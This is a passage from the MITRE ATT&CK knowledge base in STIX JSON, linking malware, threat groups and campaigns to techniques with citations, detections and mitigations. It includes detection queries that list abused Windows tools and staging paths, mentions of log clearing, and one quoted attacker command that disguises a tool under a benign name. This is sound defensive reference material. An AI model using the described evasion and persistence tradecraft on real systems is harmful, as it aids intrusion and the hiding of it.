"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d880164-0891-4721-b393-7e3a3bcc0fd9", "type": "relationship", "created": "2019-03-25T20:04:10.745Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", "source_name": "Talos Olympic Destroyer 2018"}], "modified": "2020-02-18T03:50:33.687Z", "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will attempt to clear the System and Security event logs using <code>wevtutil</code>.(Citation: Talos Olympic Destroyer 2018)", "relationship_type": "uses", "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4d8cabd5-3985-42a1-9457-047858ff340f", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Twitter Leoloobeek Scheduled Task", "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.", "url": "https://twitter.com/leoloobeek/status/939248813465853953"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T19:23:04.363Z", "description": "Monitor for newly constructed processes and/or command-lines that execute from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Look for instances of <code> schtasks.exe </code> running as processes. The <code> command_line </code> field is necessary to disambiguate between types of schtasks commands. These include the flags <code>/create </code>,<code> /run</code>,<code> /query</code>,<code> /delete</code>,<code> /change</code>, and <code> /end</code>.\n\nDetection of the creation or modification of Scheduled Tasks with a suspicious script, extension or user writable path. Attackers may create or modify Scheduled Tasks for the persistent execution of malicious code. This detection focuses at the same time on EventIDs 4688 and 1 with process creation (SCHTASKS) and EventID 4698, 4702 for Scheduled Task creation/modification event log.\n\nAnalytic 1 - New processes whose parent processes are svchost.exe or taskeng.exe\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND (ParentImage=\"*svchost.exe*\" OR ParentImage=\"*taskeng.exe*\")</code>\n\nAnalytic 2 - Scheduled Task Creation or Modification Containing Suspicious Scripts, Extensions or User Writable Paths\n\n<code>(\n\t\t(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") \n\t\tOR \n\t\t(source=\"*WinEventLog:Security\" EventCode=\"4688\") \n\t\tCommandLine=\"*SCHTASKS*\" \n\t\t(CommandLine=\"*/CREATE*\" OR CommandLine=\"*/CHANGE*\")\n\t) \n\t(\n\t\t(\n\t\t\tCommandLine=\"*.cmd*\" OR \n\t\t\tCommandLine=\"*.ps1*\" OR \n\t\t\tCommandLine=\"*.vbs*\" OR \n\t\t\tCommandLine=\"*.py*\" OR \n\t\t\tCommandLine=\"*.js*\" OR \n\t\t\tCommandLine=\"*.exe*\" OR \n\t\t\tCommandLine=\"*.bat*\"\n\t\t) OR \n\t\t(\n\t\t\tCommandLine=\"*javascript*\" OR \n\t\t\tCommandLine=\"*powershell*\" OR \n\t\t\tCommandLine=\"*wmic*\" OR \n\t\t\tCommandLine=\"*rundll32*\" OR \n\t\t\tCommandLine=\"*cmd*\" OR \n\t\t\tCommandLine=\"*cscript*\" OR \n\t\t\tCommandLine=\"*wscript*\" OR \n\t\t\tCommandLine=\"*regsvr32*\" OR \n\t\t\tCommandLine=\"*mshta*\" OR \n\t\t\tCommandLine=\"*bitsadmin*\" OR \n\t\t\tCommandLine=\"*certutil*\" OR \n\t\t\tCommandLine=\"*msiexec*\" OR \n\t\t\tCommandLine=\"*javaw*\"\n\t\t) OR \n\t\t(\n\t\t\tCommandLine=\"*%APPDATA%*\" OR \n\t\t\tCommandLine=\"*\\\\AppData\\\\Roaming*\" OR \n\t\t\tCommandLine=\"*%PUBLIC%*\" OR \n\t\t\tCommandLine=\"*C:\\\\Users\\\\Public*\" OR \n\t\t\tCommandLine=\"*%ProgramData%*\" OR \n\t\t\tCommandLine=\"*C:\\\\ProgramData*\" OR \n\t\t\tCommandLine=\"*%TEMP%*\" OR \n\t\t\tCommandLine=\"*\\\\AppData\\\\Local\\\\Temp*\" OR \n\t\t\tCommandLine=\"*\\\\Windows\\\\PLA\\\\System*\" OR \n\t\t\tCommandLine=\"*\\\\tasks*\" OR \n\t\t\tCommandLine=\"*\\\\Registration\\\\CRMLog*\" OR \n\t\t\tCommandLine=\"*\\\\FxsTmp*\" OR \n\t\t\tCommandLine=\"*\\\\spool\\\\drivers\\\\color*\" OR \n\t\t\tCommandLine=\"*\\\\tracing*\"\n\t\t)\n\t)</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4d8df710-e1a4-4069-afef-2e8e63ed6587", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "GitHub PowerSploit May 2012", "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", "url": "https://github.com/PowerShellMafia/PowerSploit"}, {"source_name": "PowerSploit Documentation", "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", "url": "http://powersploit.readthedocs.io"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T05:13:21.453Z", "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of ScriptModification modules that compress and encode scripts and payloads.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)", "relationship_type": "uses", "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d8fd7fc-eb0b-4031-8df0-ef3d237edb7c", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", "source_name": "GitHub Pupy"}], "modified": "2019-04-24T17:52:47.935Z", "description": "[Pupy](https://attack.mitre.org/software/S0192) has built in commands to identify a host\u2019s IP address and find out other network configuration settings by viewing connected sessions.(Citation: GitHub Pupy)", "relationship_type": "uses", "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d90fd9d-9f9b-45f8-986d-3db43b679905", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Kasidet", "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}], "modified": "2020-03-16T17:02:26.253Z", "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to search for a given process name in processes currently running in the system.(Citation: Zscaler Kasidet)", "relationship_type": "uses", "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d924a19-affe-4c1b-9622-ad140f334a39", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Monitor for new files added to the <code>/Library/LaunchDaemons/</code> folder. The System LaunchDaemons are protected by SIP.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4d98988c-bac6-48da-9bc8-6e4375317fd4", "created": "2022-04-01T13:08:55.890Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kubernetes RBAC", "description": "Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.", "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"}, {"source_name": "Kubernetes Hardening Guide", "description": "National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.", "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-15T16:07:57.204Z", "description": "Enforce authentication and role-based access control on the container service to restrict users to the least privileges required.(Citation: Kubernetes Hardening Guide) When using Kubernetes, avoid giving users wildcard permissions or adding users to the `system:masters` group, and use `RoleBindings` rather than `ClusterRoleBindings` to limit user privileges to specific namespaces.(Citation: Kubernetes RBAC)", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d9aa029-03d5-434e-889d-79fd36b8e093", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4d9acf03-bd3e-458b-bcea-6d1b57674072", "created": "2023-09-27T14:41:38.904Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Booz Allen Hamilton", "description": "Booz Allen Hamilton   When The Lights Went Out Retrieved. 2019/10/22 ", "url": "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T16:26:18.551Z", "description": "During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), vba_macro.exe deletes itself after `FONTCACHE.DAT`, `rundll32.exe`, and the associated .lnk file is delivered. (Citation: Booz Allen Hamilton)", "relationship_type": "uses", "source_ref": "campaign--46421788-b6e1-4256-b351-f8beffd1afba", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4d9b9464-1ade-45e9-9d7b-1c4c967abd81", "type": "relationship", "created": "2019-01-30T19:50:46.733Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", "source_name": "Unit 42 NOKKI Sept 2018"}], "modified": "2020-03-17T01:58:31.552Z", "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect the current timestamp of the victim's machine.(Citation: Unit 42 NOKKI Sept 2018)", "relationship_type": "uses", "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6", "type": "relationship", "created": "2017-05-31T21:33:27.052Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", "source_name": "FireEye admin@338"}], "modified": "2020-03-17T23:03:02.717Z", "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command to rename one of their tools to a benign file name: <code>ren \"%temp%\\upload\" audiodg.exe</code>(Citation: FireEye admin@338)", "relationship_type": "uses", "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4dab06d8-9be7-4c61-b16a-82b0c2607d70", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:44:32.956Z", "description": "Monitor for newly constructed processes and/or command-lines that aid in compression or encrypting data that is collected prior to exfiltration, such as 7-Zip, WinRAR, and WinZip. Before\u00a0[Exfiltration](https://attack.mitre.org/tactics/TA0010)\u00a0that an adversary has\u00a0[Collection](https://attack.mitre.org/tactics/TA0009), it is very likely that a\u00a0[Archive Collected Data](https://attack.mitre.org/techniques/T1560)\u00a0will be created, so that transfer times are minimized and fewer files are transmitted. There is variety between the tools used to compress data, but the command line usage and context of archiving tools, such as ZIP, RAR, and 7ZIP, should be monitored.\nIn addition to looking for RAR or 7z program names, command line usage of 7Zip or RAR can be detected with the flag usage of \u201c\\* a \\*\u201d. This is helpful, as adversaries may change program names.\n\nNote: This analytic looks for the command line argument\u00a0a, which is used by RAR. However, there may be other programs that have this as a legitimate argument and may need to be filtered out.\n\nAnalytic 1 - Command Line Usage of Archiving Software\n\n<code> (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") CommandLine=\"* a *\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4dab3ea7-8907-4376-9d17-2b9fa43acaa9", "created": "2022-03-30T14:26:51.854Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for unexpected network share access, such as files transferred between shares within a network using protocols such as SMB.", "modified": "2022-04-14T16:32:08.781Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4db1e255-d845-459c-8553-39f1a278758f", "type": "relationship", "created": "2021-10-08T14:20:51.425Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint IndigoZebra July 2021", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-10-08T14:20:51.425Z", "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) has established domains, some of which were designed to look like official government domains, for their operations.(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4dbb52bd-9ecf-4c61-91b2-9787860f737c", "created": "2020-03-13T20:36:57.502Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TechNet Credential Theft", "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"}, {"source_name": "TechNet Least Privilege", "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx"}, {"source_name": "Microsoft Azure security baseline for Azure Active Directory", "description": "Microsoft. (2022, November 14). Azure security baseline for Azure Active Directory. Retrieved February 21, 2023.", "url": "https://learn.microsoft.com/en-us/security/benchmark/azure/baselines/aad-security-baseline"}, {"source_name": "Microsoft Security Alerts for Azure AD Roles", "description": "Microsoft. (2022, November 14). Configure security alerts for Azure AD roles in Privileged Identity Management. Retrieved February 21, 2023.", "url": "https://learn.microsoft.com/en-us/security/benchmark/azure/baselines/aad-security-baseline"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-21T20:06:01.092Z", "description": "Review privileged cloud account permission levels routinely to look for those that could allow an adversary to gain wide access, such as Global Administrator and Privileged Role Administrator in Azure AD.(Citation: TechNet Credential Theft)(Citation: TechNet Least Privilege)(Citation: Microsoft Azure security baseline for Azure Active Directory) These reviews should also check if new privileged cloud accounts have been created that were not authorized. For example, in Azure AD environments configure alerts to notify when accounts have gone many days without using privileged roles, as these roles may be able to be removed.(Citation: Microsoft Security Alerts for Azure AD Roles) Consider using temporary, just-in-time (JIT) privileged access to Azure AD resources rather than permanently assigning privileged roles.(Citation: Microsoft Azure security baseline for Azure Active Directory)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4dbf47c1-c065-4e4c-8894-376d636555a2", "type": "relationship", "created": "2020-12-29T16:20:28.511Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-29T16:20:28.511Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed files to gain valid credentials.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4dcb70d9-017b-44b8-a13c-fab275c5bc56", "created": "2022-09-29T19:55:30.683Z", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T19:55:30.683Z", "description": "During [C0015](https://attack.mitre.org/campaigns/C0015), PowerView's file share enumeration results were stored in the file `c:\\ProgramData\\found_shares.txt`.(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4dd44f72-a08e-4dac-9875-98690508ed08", "type": "relationship", "created": "2022-03-09T18:35:37.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}], "modified": "2022-03-09T18:35:37.047Z", "description": "[Diavol](https://attack.mitre.org/software/S0659) can spread throughout a network via SMB prior to encryption.(Citation: Fortinet Diavol July 2021)", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4dd8150f-e20d-4ed0-a12e-c94641d1ba64", "type": "relationship", "created": "2020-03-17T01:37:29.722Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-17T01:37:29.722Z", "description": "[JPIN](https://attack.mitre.org/software/S0201) can send email over SMTP.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4de2ac9b-4e51-4d73-8fe3-d7d1659778b8", "type": "relationship", "created": "2017-05-31T21:33:27.074Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Citizen Lab Stealth Falcon May 2016", "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", "url": "https://citizenlab.org/2016/05/stealth-falcon/"}], "modified": "2020-03-17T02:38:48.575Z", "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers a list of running processes.(Citation: Citizen Lab Stealth Falcon May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4de4a09b-5727-4462-b288-23278e74634e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN10 June 2017", "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"}], "modified": "2019-04-25T12:09:56.256Z", "description": "[FIN10](https://attack.mitre.org/groups/G0051) has executed malicious .bat files containing PowerShell commands.(Citation: FireEye FIN10 June 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4de4cf78-542c-4f7a-a83b-f876a59e2553", "type": "relationship", "created": "2020-08-11T21:15:35.557Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 RDAT July 2020", "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}], "modified": "2020-09-02T21:40:20.835Z", "description": "[RDAT](https://attack.mitre.org/software/S0495) can communicate with the C2 via base32-encoded subdomains.(Citation: Unit42 RDAT July 2020)\t", "relationship_type": "uses", "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4dea60e2-5339-4aed-b9a8-5ebf6af2f431", "created": "2022-09-07T13:52:56.384Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Frankenstein June 2019", "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into 